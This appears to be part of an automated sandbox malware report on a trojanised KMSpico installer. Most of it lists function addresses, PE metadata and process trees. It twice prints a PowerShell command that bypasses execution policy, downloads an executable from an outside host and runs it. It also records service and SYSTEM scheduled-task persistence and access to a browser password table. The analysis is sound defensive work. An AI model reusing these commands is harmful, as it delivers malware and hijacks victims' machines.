              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B38404_2_022B3840
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A69DA4_2_022A69DA
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0228AFD04_2_0228AFD0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022BBC104_2_022BBC10
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02287CE04_2_02287CE0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A222F4_2_022A222F
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B123B4_2_022B123B
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A22084_2_022A2208
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A625C4_2_022A625C
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0228428A4_2_0228428A
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0227F2904_2_0227F290
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0229E2904_2_0229E290
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0227A2F04_2_0227A2F0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022963104_2_02296310
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B23CD4_2_022B23CD
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A43D04_2_022A43D0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022870054_2_02287005
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022830124_2_02283012
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A60AD4_2_022A60AD
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022BC0B04_2_022BC0B0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022941404_2_02294140
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022AD1A94_2_022AD1A9
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B51804_2_022B5180
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B31C04_2_022B31C0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B91D44_2_022B91D4
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0227C6204_2_0227C620
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0227B6304_2_0227B630
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A861D4_2_022A861D
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022926624_2_02292662
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022947704_2_02294770
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022727904_2_02272790
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0229D4194_2_0229D419
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0228C41A4_2_0228C41A
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022BC4504_2_022BC450
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022904904_2_02290490
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A14904_2_022A1490
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022984C04_2_022984C0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0228E5264_2_0228E526
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022735304_2_02273530
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022795104_2_02279510
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022815504_2_02281550
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A55E74_2_022A55E7
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02294A204_2_02294A20
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0228EA3B4_2_0228EA3B
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022ADA004_2_022ADA00
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02278A804_2_02278A80
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B2A804_2_022B2A80
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A8AE14_2_022A8AE1
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02272B304_2_02272B30
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02298B304_2_02298B30
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0227CB604_2_0227CB60
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B987C4_2_022B987C
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A98E64_2_022A98E6
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A18C54_2_022A18C5
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B08D34_2_022B08D3
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0229B9004_2_0229B900
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B49004_2_022B4900
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022BB9504_2_022BB950
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A79F04_2_022A79F0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A6E7B4_2_022A6E7B
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A69DA4_2_022A69DA
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02273ED04_2_02273ED0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0228EF2B4_2_0228EF2B
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B4F204_2_022B4F20
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B8F384_2_022B8F38
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02278F904_2_02278F90
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02299FF54_2_02299FF5
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022AAFC04_2_022AAFC0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02284FD14_2_02284FD1
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022ABFD44_2_022ABFD4
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A6C454_2_022A6C45
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02296CA04_2_02296CA0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B2CE04_2_022B2CE0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0227ACF04_2_0227ACF0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B7D404_2_022B7D40
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02293DB04_2_02293DB0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02290D804_2_02290D80
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02277D904_2_02277D90
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02280DD04_2_02280DD0
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004707F86_2_004707F8
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00480DD36_2_00480DD3
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004673A46_2_004673A4
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0043035C6_2_0043035C
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0048E3606_2_0048E360
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004444C86_2_004444C8
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004345C46_2_004345C4
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00444A706_2_00444A70
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00430EE86_2_00430EE8
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00486FAC6_2_00486FAC
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0045F0C46_2_0045F0C4
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004451686_2_00445168
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0045B1746_2_0045B174
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004352C86_2_004352C8
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004694206_2_00469420
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004455746_2_00445574
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004519BC6_2_004519BC
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0043DD506_2_0043DD50
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00487F0C6_2_00487F0C
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F7890815_2_00007FF848F78908
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F2249315_2_00007FF848F22493
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F24E8F15_2_00007FF848F24E8F
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F3076015_2_00007FF848F30760
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F3077815_2_00007FF848F30778
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F3079D15_2_00007FF848F3079D
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F307B515_2_00007FF848F307B5
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F21AF015_2_00007FF848F21AF0
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F2F11015_2_00007FF848F2F110
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F20FF815_2_00007FF848F20FF8
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F3074015_2_00007FF848F30740
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F3076815_2_00007FF848F30768
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F3077015_2_00007FF848F30770
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF848F20FD115_2_00007FF848F20FD1
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF8490E062915_2_00007FF8490E0629
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF849223A1F15_2_00007FF849223A1F
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF849238CB515_2_00007FF849238CB5
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF8492324EC15_2_00007FF8492324EC
              Source: C:\Program Files\KMSpico\KMSELDI.exeCode function: 15_2_00007FF8492277E415_2_00007FF8492277E4
              Source: C:\Program Files\KMSpico\AutoPico.exeCode function: 16_2_00007FF848F4BA4016_2_00007FF848F4BA40
              Source: C:\Program Files\KMSpico\AutoPico.exeCode function: 16_2_00007FF848F4AD7E16_2_00007FF848F4AD7E
              Source: C:\Program Files\KMSpico\AutoPico.exeCode function: 16_2_00007FF848F4159816_2_00007FF848F41598
              Source: C:\Program Files\KMSpico\AutoPico.exeCode function: 16_2_00007FF848F4A00216_2_00007FF848F4A002
              Source: C:\Program Files\KMSpico\AutoPico.exeCode function: 16_2_00007FF848F4925616_2_00007FF848F49256
              Source: Joe Sandbox ViewDropped File: C:\Program Files\KMSpico\AutoPico.exe (copy) 4A714D98CE40F5F3577C306A66CB4A6B1FF3FD01047C7F4581F8558F0BCDF5FA
              Source: Joe Sandbox ViewDropped File: C:\Program Files\KMSpico\DevComponents.DotNetBar2.dll (copy) FA76151A783250014AC8FA55D4C833100A623FCAD1D6E2DDADCDE259F5709609
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 00408C0C appears 45 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 00406AC4 appears 43 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 0040595C appears 117 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 00457F1C appears 77 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 00403400 appears 60 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 00445DD4 appears 45 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 00457D10 appears 105 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 004344DC appears 32 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 004078F4 appears 43 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 00403494 appears 83 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 00403684 appears 226 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 00453344 appears 98 times
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: String function: 004460A4 appears 59 times
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: String function: 0227B2F0 appears 76 times
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: String function: 0228AFC0 appears 89 times
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 4228 -ip 4228
              Source: KMSpico.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
              Source: is-R1684.tmp.1.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
              Source: KMSpico.tmp.3.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
              Source: KMSpico.tmp.3.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
              Source: KMSpico.tmp.3.drStatic PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
              Source: is-8DDLC.tmp.6.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
              Source: is-8DDLC.tmp.6.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
              Source: is-8DDLC.tmp.6.drStatic PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
              Source: KMSpico.exeStatic PE information: Number of sections : 11 > 10
              Source: is-R1684.tmp.1.drStatic PE information: Number of sections : 11 > 10
              Source: is-19K1L.tmp.1.drStatic PE information: Number of sections : 11 > 10
              Source: KMSpico.tmp.0.drStatic PE information: Number of sections : 11 > 10
              Source: KMSpico.exe, 00000000.00000003.2141159385.0000000003393000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileName vs KMSpico.exe
              Source: KMSpico.exe, 00000000.00000003.2144791129.000000007FD8F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileName vs KMSpico.exe
              Source: KMSpico.exe, 00000000.00000000.2133710313.0000000000E69000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFileName vs KMSpico.exe
              Source: KMSpico.exe, 00000003.00000003.2442734006.00000000023B0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameshfolder.dll~/ vs KMSpico.exe
              Source: KMSpico.exe, 00000003.00000003.2447830963.0000000002088000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameshfolder.dll~/ vs KMSpico.exe
              Source: KMSpico.exeBinary or memory string: OriginalFileName vs KMSpico.exe
              Source: KMSpico.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: amsi32_6460.amsi.csv, type: OTHERMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
              Source: Process Memory Space: powershell.exe PID: 6460, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
              Source: classification engineClassification label: mal88.phis.troj.spyw.evad.winEXE@35/790@5/6
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,3_2_00409448
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004555E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,6_2_004555E4
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00455E0C GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceExA,GetDiskFreeSpaceA,6_2_00455E0C
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_00690AB7 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,CloseHandle,4_2_00690AB7
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B3840 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,GetVolumeInformationW,4_2_022B3840
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_00409C34 FindResourceA,SizeofResource,LoadResource,LockResource,3_2_00409C34
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpicoJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Roaming\MyAppJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6292:120:WilError_03
              Source: C:\Windows\System32\WerFault.exeMutant created: \BaseNamedObjects\Local\WERReportingForProcess4228
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1088:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4980:120:WilError_03
              Source: C:\Users\user\Desktop\KMSpico.exeFile created: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmpJump to behavior
              Source: C:\Users\user\Desktop\KMSpico.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
              Source: C:\Users\user\Desktop\KMSpico.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
              Source: C:\Users\user\Desktop\KMSpico.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganizationJump to behavior
              Source: core.exe, 00000004.00000003.2722036700.0000000000949000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2734635583.0000000003321000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2721164136.0000000003305000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
              Source: KMSpico.exeReversingLabs: Detection: 15%
              Source: KMSpico.exeString found in binary or memory: need to be updated. /RESTARTAPPLICATIONS Instructs Setup to restart applications. /NORESTARTAPPLICATIONS Prevents Setup from restarting applications. /LOADINF="filename" Instructs Setup to load the settings from the specified file after having checked t
              Source: KMSpico.exeString found in binary or memory: /LOADINF="filename"
              Source: C:\Users\user\Desktop\KMSpico.exeFile read: C:\Users\user\Desktop\KMSpico.exeJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeEvasive API call chain: GetCommandLine,DecisionNodes,ExitProcessgraph_11-632
              Source: unknownProcess created: C:\Users\user\Desktop\KMSpico.exe "C:\Users\user\Desktop\KMSpico.exe"
              Source: C:\Users\user\Desktop\KMSpico.exeProcess created: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmp "C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmp" /SL5="$40806,30453249,844800,C:\Users\user\Desktop\KMSpico.exe"
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess created: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe "C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe"
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess created: C:\Users\user\AppData\Roaming\MyApp\core.exe "C:\Users\user\AppData\Roaming\MyApp\core.exe"
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeProcess created: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmp "C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmp" /SL5="$5081A,2952592,69120,C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe"
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\KMSpico\scripts\Install_Service.cmd""
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\KMSpico\scripts\Install_Task.cmd""
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess created: C:\Program Files\KMSpico\UninsHs.exe "C:\Program Files\KMSpico\UninsHs.exe" /r0=KMSpico,default,C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create "Service KMSELDI" binPath= "C:\Program Files\KMSpico\Service_KMS.exe" type= own error= normal start= auto DisplayName= "Service KMSELDI"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /TN "AutoPico Daily Restart" /TR "'C:\Program Files\KMSpico\AutoPico.exe' /silent" /SC DAILY /ST 23:59:59 /RU "NT AUTHORITY\SYSTEM" /RL Highest /F
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess created: C:\Program Files\KMSpico\KMSELDI.exe "C:\Program Files\KMSpico\KMSELDI.exe" /silent /backup
              Source: unknownProcess created: C:\Program Files\KMSpico\AutoPico.exe "C:\Program Files\KMSpico\AutoPico.exe" /silent
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 4228 -ip 4228
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4228 -s 1632
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\KMSpico.exeProcess created: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmp "C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmp" /SL5="$40806,30453249,844800,C:\Users\user\Desktop\KMSpico.exe" Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess created: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe "C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe" Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess created: C:\Users\user\AppData\Roaming\MyApp\core.exe "C:\Users\user\AppData\Roaming\MyApp\core.exe"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeProcess created: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmp "C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmp" /SL5="$5081A,2952592,69120,C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe" Jump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePathJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\KMSpico\scripts\Install_Service.cmd""Jump to behavior
